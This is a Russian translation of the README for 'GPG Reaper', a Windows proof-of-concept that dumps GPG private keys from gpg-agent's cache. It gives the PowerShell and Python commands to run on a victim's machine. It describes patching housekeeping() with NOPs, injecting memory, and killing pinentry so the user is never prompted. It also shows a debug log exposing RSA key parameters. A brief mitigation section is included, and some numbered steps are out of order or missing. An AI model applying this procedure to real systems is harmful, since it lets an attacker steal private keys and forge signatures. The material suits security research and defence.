
GPG Reaper - Получить/Похитить/Восстановить приватные ключи GPG из кэша/памяти gpg-agent
TL;DR: Получение/Кража/Восстановление закрытых ключей GPG из кэша/памяти gpg-agent
Этот POC демонстрирует метод получения закрытых ключей GPG из памяти gpg-agent в Windows.
Обычно это возможно только в течение 10 минут (значение --default-cache-ttl).
К сожалению, функция housekeeping() (отвечающая за очистку кэша) выполняется только если вы используете GPG (там нет таймера).
Это означает, что в обычном сценарии использования GPG, например: вы подписываете файл, затем закрываете GUI и занимаетесь другими делами, ваш пароль все еще находится в памяти gpg-agent (даже если ttl истек).
Злоумышленник, имеющий доступ к вашей текущей сессии, может использовать это для кражи закрытого ключа, не зная вашей парольной фразы.
ПРИМЕЧАНИЕ: GPG изменит механизм кэширования в версии 2.2.6. Смотрите коммит и задачу.

pip install PGPy
Если вы получили:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then
тогда:
pip install six==1.10.0
1. Установите Gpg4Win 3.0.3
2. Откройте командную строку и запустите агент с временем кэширования 2 секунды:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. Запустите Kleopatra и сгенерируйте новую пару ключей

4. Подпишите какой-нибудь пример тестового файла

5. Pinetry всплывет и попросит вас ввести парольную фразу

6. Повторите шаги 4-5. Каждый раз появляется pinetry, потому что наш кэш на 2 секунды истек.
7. Запустите GPG reaper
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
Вы увидите что-то вроде:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
Как видите, мы дампим ключ. Это стало возможным благодаря NOP-инструкциям в функции housekeeping.
8. Восстановите закрытый ключ:
python gpg_reaper.py .\testme.txt
Закрытый ключ дампится в файл:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent — это демон для управления закрытыми ключами независимо от какого-либо протокола.
GUI-интерфейс взаимодействует с агентом по протоколу Assuan Protocol.
По умолчанию агент кэширует ваши учетные данные.
Опция --default-cache-ttl n задает время действия записи в кэше в n секунд.
По умолчанию — 600 секунд. При каждом обращении к записи в кэше её таймер сбрасывается.
В Windows процесс подписи выглядит так:

Ключевой частью здесь является функция housekeeping(), отвечающая за удаление истекших учетных данных из памяти.
Но есть одна проблема: эта функция выполняется только в двух местах (внутри agent_put_cache и agent_get_cache).
Это означает, что кэшированные учетные данные НЕ удаляются из памяти до тех пор, пока не будут выполнены какие-либо команды gpg-agent, использующие agent_put_cache, agent_get_cache или agent_flush_cache.
На компьютере жертвы:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
Перенесите out.txt на вашу машину и восстановите закрытые ключи:
gpg_reaper.py out.txt
Закрытые ключи будут выгружены в отдельные файлы.
Если GPG установлен вне стандартных каталогов:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
Если вы не хотите видеть отладочные сообщения:
Gpg-Reaper -Verbose $false
Предположим, вы проводите тестирование на проникновение и получили оболочку на компьютере с установленным GPG.
Если вам повезло и пользователь недавно использовал GPG, а кэш ещё не истек, вы можете:
1. Подписать файл:
Запустите c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 сообщения
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. Экспортировать закрытый ключ:
Запустите c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
К сожалению, это не работает, как ожидалось, и запрашивает пароль.
Почему? Потому что функция cmd_export_key() выполняет agent_key_from_file() с флагом CACHE_MODE_IGNORE, что означает, что кэш не будет использоваться, и каждый раз пользователя просят ввести парольную фразу.
Мы знаем, что невозможно экспортировать ключ GPG через gpg-agent без знания пароля.
Но есть одна маленькая хитрость. У агента есть несколько опций:
1. --debug-level
Выберите уровень отладки для исследования проблем. Уровень может быть числовым значением или ключевым словом:
guru — все возможные отладочные сообщения.
2. --log-file file
Добавлять все записи журнала в файл. Это очень помогает увидеть, что на самом деле делает агент.
Давайте запустим агент с помощью gpg-agent.exe --daemon --debug-level guru --log-file out.txt и подпишем какой-нибудь файл.
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG: (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG: (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG: (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))
Похоже, что режим guru выводит в файл журнала числа n, e, d, p, q и u. Зная это, мы можем вычислить открытый и закрытый ключи.
Внутренне значение skey выводится функцией gcry_log_debugsxp(), когда DBG_CRYPTO установлен:
if (DBG_CRYPTO)
{
gcry_log_debugsxp ("skey", s_skey);
gcry_log_debugsxp ("hash", s_hash);
}
Если вы хотите защититься от этой атаки, вам нужно отключить кэш.
Создайте/измените %APPDATA%\gnupg\gpg-agent.conf:
default-cache-ttl 0
max-cache-ttl 0
Проверьте, что пути к gpg-connect-agent.exe, gpg-agent.exe и gpg.exe корректны.
Проверьте, что sha256 gpg-agent.exe соответствует поддерживаемым версиям.
Проверьте, запущен ли процесс gpg-agent.exe, и откройте его с помощью OpenProcess.
Start-Job, который уничтожает все экземпляры процесса pinentry. Таким образом, когда мы запрашиваем ключ, отсутствующий в кэше, мы можем продолжить без взаимодействия с пользователем.
Прочитайте исходные байты функций housekeeping() и agent_pksign_do(), чтобы восстановить их после выполнения скрипта.
NOP-инструкции в функции housekeeping(), чтобы она не удаляла истекший кэш из памяти.


gpg-connect-agent.exe:SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
Проверьте, содержит ли файл журнала числа n, e, d, p, q и u. Если да, верните их пользователю.
Повторите пункты 8–11 для каждого ключа из пункта 7.
Теперь, используя библиотеку PGPy, мы можем восстановить закрытый ключ. См.: gpg_reaper.py
Gpg-agent скомпилирован без ASLR, поэтому я использую некоторые хардкодные смещения внутри PowerShell-скрипта.
Из-за этого поддерживаются только указанные версии:
| Version | gpg-agent.exe sha256 |
|---|---|
| 3.0.3 | D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A |
| 3.0.2 | 3FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8 |
Потому что этот файл может быть запущен без внешних зависимостей на большинстве современных систем Windows.
gpg-connect-agent.exe, gpg-agent.exe или gpg.exe не существует в стандартном расположении.
Вы можете попробовать указать собственное расположение с помощью:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
gpg-agent.exe не запущен в этой системе, поэтому мы не можем восстановить закрытый ключ.
В настоящее время этот скрипт поддерживает только определенные версии.
В памяти нет кэшированного ключа, поэтому мы не можем восстановить закрытый ключ.
Иконка косы выполнена Freepik с www.flaticon.com.
Шрифт Solstice Of Suffering от GraveTech.
Получите список всех доступных закрытых ключей с помощью gpg.exe --list-secret-keys --with-keygrip.
Получите открытый ключ с помощью gpg.exe --armor --export %key_fingerprint%.
Выделите память внутри gpg-agent.exe с помощью VirtualAllocEx. Сохраните там путь к нашему файлу журнала и вызовите log_set_file().
Замените if (DBG_CRYPTO) вызовом нашей выделенной памяти из пункта 9 внутри agent_pksign_do().
| 3.0.1 | BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE |
| 3.0.0 | C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC |